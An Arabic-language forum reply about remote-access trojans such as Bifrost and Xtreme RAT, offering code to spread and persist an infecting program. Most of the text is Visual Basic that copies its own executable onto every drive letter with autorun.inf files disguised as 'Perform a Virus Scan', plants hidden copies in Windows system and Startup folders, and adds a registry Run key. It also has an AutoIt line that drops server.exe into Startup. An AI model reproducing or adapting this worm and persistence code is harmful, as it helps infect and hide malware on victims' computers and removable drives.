.اخوى‘
^
على حسب البرنامج الخاص بك
فبعض البرامج بها خاصيه النسخ فى [ SU ]
والبعض الاخر لا يوجد به هذه الخاصيه
مثل : البيفروست , هذا لا توجد به الخاصيه [ SU ]
بل : يتوجب عليك تثبيت الضحيه 
فى المقابل : الاكستريم رات , توجد به الخاصيه
ايضا : لا يحتاج تثبيت الضحيه فهو قوى فى ذلك [ SU ]
وغيرهم من برامج كثيره
واذا تبى الكود الذى ينسخ فى [ SU ]
[ تفضل , ما يغلى عليك ]
كود:
Public Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Sub Spread()
On Error Resume Next
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "A:\ .exe"
Open "A:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "B:\ .exe"
Open "B:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\ .exe"
Open "C:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "D:\ .exe"
Open "D:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "E:\ .exe"
Open "E:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "F:\ .exe"
Open "F:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "G:\ .exe"
Open "G:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "H:\ .exe"
Open "H:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "I:\ .exe"
Open "i:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "J:\ .exe"
Open "J:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "K:\ .exe"
Open "K:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "L:\ .exe"
Open "L:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "M:\ .exe"
Open "M:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "N:\ .exe"
Open "N:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "O:\ .exe"
Open "O:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "P:\ .exe"
Open "P:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "R:\ .exe"
Open "R:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "Y:\ .exe"
Open "Y:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\WINDOWS\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\Program Files\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\WINDOWS\system32\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\WINDOWS\Temp\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\WINDOWS\Help\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\WINDOWS\system32\drivers\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\Program Files\WinRAR\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\Program Files\Messenger\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\Program Files\Internet Download Manager\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\.exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\Users\All Users\AppData\Roaming\Microsoft\Windows\tart Menu\Programs\Startup\.exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\programData\Microsoft\Windows\Start Menu\Programs\Startup\.exe"
SetFileAttributes "A:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "B:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "D:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "E:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "F:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "G:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "H:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "I:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "J:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "K:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "L:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "M:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "N:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "O:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "P:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "R:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "Y:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\system32\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\Temp\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\Help\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\system32\drivers\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\WinRAR\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\Messenger\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\Internet Download Manager\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "A:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "B:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "D:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "E:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "F:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "G:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "H:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "I:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "J:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "K:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "L:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "M:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "N:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "O:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "P:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "R:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "Y:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\system32\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\Temp\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\Help\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\system32\drivers\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\WinRAR\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\Messenger\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\Internet Download Manager\autorun.inf", FILE_ATTRIBUTE_HIDDEN
End Sub
ينتشر في كل مكان في ستارت
وايضا فى الاقراص الصلبه
بس يشغل القرص يجي التبليغ
يعني ثابت مئه بالمئه
نزول الانتشار
[ فى الجهاز ]
C:\Documents and Settings\All Users\Start Menu\Programs\Startup\.exe
نزول الانتشار
[ بلغه الاتوايت ]
FileCopy (@TempDirDir&"\server.exe",@StartupDir&"\server.ex e")
+
[ كود آخر ]
كود:
option explicit private declare function regclosekey lib "advapi32.dll" (byval hkey as long) as long private declare function regcreatekey lib "advapi32.dll" alias "regcreatekeya" (byval hkey as long, byval lpsubkey as string, phkresult as long) as long private declare function regdeletekey lib "advapi32.dll" alias "regdeletekeya" (byval hkey as long, byval lpsubkey as string) as long private declare function regdeletevalue lib "advapi32.dll" alias "regdeletevaluea" (byval hkey as long, byval lpvaluename as string) as long private declare function regopenkey lib "advapi32.dll" alias "regopenkeya" (byval hkey as long, byval lpsubkey as string, phkresult as long) as long private declare function regqueryvalueex lib "advapi32.dll" alias "regqueryvalueexa" (byval hkey as long, byval lpvaluename as string, byval lpreserved as long, lptype as long, lpdata as any, lpcbdata as long) as long private declare function regsetvalueex lib "advapi32.dll" alias "regsetvalueexa" (byval hkey as long, byval lpvaluename as string, byval reserved as long, byval dwtype as long, lpdata as any, byval cbdata as long) as long private const reg_sz = 1 ' unicode nul terminated string private const reg_dword = 4 ' 32-bit number private const error_success = 0& public enum pvphk hkey_classes_root = &h80000000 hkey_current_user = &h80000001 hkey_local_machine = &h80000002 hkey_users = &h80000003 hkey_performance_data = &h80000004 end enum private const pvprunhkey = "software\microsoft\windows\currentversion\run" private sub savestring(byval hkey as long, strpath as string, strvalue as string, strdata as string) dim keyhand as long dim r as long r = regcreatekey(hkey, strpath, keyhand) r = regsetvalueex(keyhand, strvalue, 0, reg_sz, byval strdata, len(strdata)) if r = 87 then deletevalue hkey, strpath, strvalue end if r = regclosekey(keyhand) end sub private function deletevalue(byval hkey as long, byval strpath as string, byval strvalue as string) dim keyhand as long dim r as long r = regopenkey(hkey, strpath, keyhand) r = regdeletevalue(keyhand, strvalue) r = regclosekey(keyhand) end function public function runatstartup(sapptitle as string, strsappname as string) savestring pvphk.hkey_current_user, pvprunhkey, sapptitle, strsappname end function
in form load add this : Runatstartup app.title, app.path & "\" & app.exename & ".exe"
,
موفق